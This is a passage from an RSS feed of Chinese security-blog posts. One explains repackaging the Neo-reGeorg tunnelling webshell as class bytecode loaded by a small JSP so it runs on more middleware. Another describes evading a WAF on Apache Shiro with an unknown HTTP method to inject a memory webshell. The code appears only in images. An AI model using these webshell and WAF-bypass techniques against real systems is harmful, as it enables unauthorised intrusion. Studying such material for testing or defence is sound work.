&#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">tunnel_jsp.java</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">,但是没有</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">tunnel_jsp.class</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">，说明阶段1已经过。结合页面报错信息，在2阶段时Tomcat内置的编译器JDTCompiler，编译报错了。</span><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">检查</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">tunnel_jsp.java</span><span style="font-size: 14px;letter-spacing: 2px;">代码并没有语法错误，尝试使用javac编译，编译成功！看来JDTCompiler与javac实现逻辑并不同，而且没有javac强大。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cb20f9b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFOvIXxgHY7DjuGuLAOn3jUQL5QSfoianruicXdYBqRMSHCzGNI6Nicct7w%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">编译成功之后我再访问tunnel.jsp页面不再报错了。可见提高一个</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">.jsp</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">的兼容，无非就是让它在各个中间件下成功变成一个</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">.class</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">。而这个过程与具体中间件的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">jsp转换器</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">的解析机制，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">java编译器</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">的编译机制和</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">servlet-api</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">的版本息息相关。</span><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">那么我们是不是可以把Neo-reGeorg的服务端代码提取变成class字节码，然后jsp来加载和调用，来提高这个过程的成功率呢？。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><strong><br/></strong></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><strong>总之核心思想就是把尽可能多的业务逻辑变成最终可运行的java字节码，同时尽可能的减少jsp代码，少用api少用语法糖少用特性。</strong></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);font-size: 18px;background-color: rgb(171, 25, 66);letter-spacing: 2px;"> 0x03 </span></strong></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 2px;">编码实现</span></strong></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><br/></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">我们先来移植服务端模版代码为java代码。直接新建一个</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">NeoreGeorg.java</span><span style="font-size: 14px;letter-spacing: 2px;">，将jsp中的方法直接copy,主体代码的移植需要注意2个问题。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">第一、参数提炼问题。我们需要把模版变化的地方，提取出来作为参数，比如</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">X-CMD</span><span style="font-size: 14px;letter-spacing: 2px;">这样的指令，</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">POST request read filed</span><span style="font-size: 14px;letter-spacing: 2px;">这样的提示，Neo-reGorg需要通过随机替换它们实现流量加密。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">第二、参数传递问题。参数可以通过构造方法或者自定义方法传递进来，但是这样要多写些反射代码。本着jsp代码越少越好原则，使用每个类都有的</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">equal(java.lang.Object)</span><span style="font-size: 14px;letter-spacing: 2px;">方法。</span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.84140625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7c1c4ba9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFcNibQaQJ7UNLg46GCDJq5NWUJObzplyic5ffaNmRVmwKibG1YFtldzczQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">为了兼容更多的jdk版本我们这里选择使用1.5编译，同时为了class体积更小，可以使用</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">-g:none</span><span style="font-size: 14px;letter-spacing: 2px;">去掉调试信息。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1796875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b6e83c3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFuEDtYINqUSPAdvjLcG8NewIehBadn6nWVLhVJa4MwaPrQYdTYH7oLg%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">jsp部分很简单，定义一个classloader用于加载class，然后将该class newInstance进行调用。有二个点可以简单讲讲。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">第一，class字节码的存储方式问题。本着少用api的原则，我直接用byte数组存储。当然如果字节码太多，可能会有</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">The code of method _jspService(...) is exceeding the 65535 bytes limit</span><span style="font-size: 14px;letter-spacing: 2px;">报错问题，推荐用hex编码解决。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">第二，全局存储class对象问题。推荐使用</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">application</span><span style="font-size: 14px;letter-spacing: 2px;">对象，而不是</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">session</span><span style="font-size: 14px;letter-spacing: 2px;">对象进行存储，否则遇到负载的情况就麻烦了。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b269faba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFic5IlmMU3wRN8nd7rR0N45QuiamJN2lekWrYa4Ip4yy9N8B18QHlRbyA%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">经过测试在各个中间件下稳定运行，顺手给L-codes师傅一个pr。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 2px;font-size: 18px;"> 0x04 </span></strong></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><strong><span style="letter-spacing: 2px;font-size: 18px;">总结</span></strong></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><br/></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">其实这个方法可以使用很多jsp脚本的改造，比如内存马注入jsp，jsp大马，蚁剑一句话木马等等。大家可以照猫画虎，自行修改。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section>



<p><a href="https://gv7.me/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=df9d2067&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484135%26idx%3D1%26sn%3D7e2689d22922cd9afb5673c691d08c74%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 06 Sep 2021 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>shiro反序列化绕WAF之未知HTTP请求方法</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484134&amp;idx=1&amp;sn=d502f0e616436926eb088f557a1f4368</link>
      <description>人性懒惰表现之一就是不防御未知</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2021-08-30 12:01</span> <span style="display: inline-block;"></span>
</p>

<p>人性懒惰表现之一就是不防御未知</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5d687b86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPcvy5QPicpV1c8agProqczbxnibicfb3ic83xf8Enk4GNZMqrgVGHCMYSBdER72TKV27engVWLN5MA3JA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><strong><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> 0x01 </span></strong></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><strong><span style="font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">背景</span></strong></span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="text-indent: 0em;line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><span style="font-size: 14px;">当下WAF对shiro的防护，确实比较严格。对rememberMe的长度进行限制，甚至解密payload检查反序列化class。本周我遇到一个场景，就是这种情况。使用之前的方法</span><span style="font-size: 14px;color: rgb(217, 33, 66);">rememberMe</span><span style="font-size: 14px;">=</span><span style="font-size: 14px;color: rgb(217, 33, 66);">加密payload</span><span style="font-size: 14px;">+</span><span style="font-size: 14px;background-color: rgb(255, 255, 255);color: rgb(217, 33, 66);">==</span><span style="font-size: 14px;color: rgb(217, 33, 66);">垃圾数据</span><span style="font-size: 14px;">也失败了，<a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247484124&amp;idx=1&amp;sn=c258b2b5ee70b70b5464f47a975edc52&amp;scene=21#wechat_redirect" textvalue="这个方法" tab="innerlink" data-linktype="2">这个方法</a>之前有大佬分享过，我就不再赘述了。我最终使用</span><span style="font-size: 14px;color: rgb(217, 33, 66);">未知HTTP请求方法</span><span style="font-size: 14px;">解决战斗。</span></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.54140625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=13a1b1c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcvy5QPicpV1c8agProqczbxib6QyGHfKdtiaibfmfDHXVkZea6Pwia67DsdIWr0QNKUxHtcXnJcT3CfLw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 2px;"> <strong>0x02 </strong></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><strong><span style="font-size: 18px;">过程</span></strong></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">当时我的思考是shiro的payload在header上，如何修改request header可以导致waf解析不出来，但是后端中间件正常解析呢？</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">第一步，先构造出先绕WAF，哪怕改成不合法的数据包。</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">第二步，在绕WAF的数据包基础上修正，让后端中间件可以解析。</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><span style="font-size: 14px;">我把被拦截的包发送的repeater模块,尝试切换http版本，添加垃圾header头等等方法均没绕过。在修改GET方法为</span><span style="font-size: 14px;color: rgb(217, 33, 66);">XXX</span><span style="font-size: 14px;">这样的未知HTTP请求方法时,发现WAF不在拦截，但是后端报错了。</span></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27421875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ab41e8a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcvy5QPicpV1c8agProqczbxADicia0sWwzebViaDe0s6JYEvRibq2owdiarTwCJ9Xs0FrYKTbWvjUomkIw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">接下来验证下后端是否真正处理了rememberMe。我先请求去掉rememberMe，response对应的rememberMe消失了</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25078125" data-s="300,640" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=abe67791&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcvy5QPicpV1c8agProqczbxkY8FDUTHibJ6sbp03mxAdOLkzeFoBRm1RXnJFGg9sJ8wCLfB4d0W4kQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">然后再加上rememberMe,repseone的remeberMe又回来了。这说明后端正常处理rememberMe，这么绕WAF没问题！</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27421875" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ccdbe3de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcvy5QPicpV1c8agProqczbxMgGibIhXviaCEDmnaCTFxBMe8MtribMCInR8icKOFK5GlhiatTTsO1r8ic7g%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">最后将之前注入内存webshell的payload修改下请求方法，成功拿下Web权限。</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 2px;"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x03 </span></strong></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><strong><span style="font-size: 18px;">原理</span></strong></span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">方法简单粗暴，不难推断WAF是通过正常的http方法识别HTTP数据包的。但是为何后端中间件依然能拿到rememberMe的结果呢？</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><span style="font-size: 14px;">于是我在本地代码</span><span style="font-size: 14px;color: rgb(217, 33, 66);">org.apache.shiro.web.mgt.CookieRememberMeManager#</span><span style="font-size: 14px;color: rgb(2, 30, 170);">getRememberedSerializedIdentity</span><span style="font-size: 14px;">处下了断点。</span></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.68828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bf0852a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcvy5QPicpV1c8agProqczbxRQicT0YFqw7SMOyjU5btt32ibOjNmicds5VCEAibKt8PB0J6u03fjtuVgg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">通过</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">XXX方法</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">发送数据包，调试发现</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;background-color: rgb(255, 255, 255);color: rgb(217, 33, 66);">request.getCookies</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">可以获取到</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">rememberMe</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">值，而且如下方法均可正常使用。说明未知HTTP请求方法不影响各类参数的读取。</span></span></p><p style="text-align: center;line-height: 2em;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2840909090909091" data-s="300,640" style="" data-type="png" data-w="1056" src="https://wechat2rss.xlab.app/img-proxy/?k=d40e2c6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcvy5QPicpV1c8agProqczbxvd0tbkb1e3abBbLLNnBKmoFibnnahnibGngS1WRjDdzRRDFK14wlIYfw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">那对三大组件的调用是否有影响呢？继续翻阅Tomcat源码，我发现Listener被调用是受</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">行为事件</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">影响，Filter是受</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">请求路径</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">影响，而Servlet是受</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">请求路径</span><span style="font-family: mp-quote, -apple-system-font, 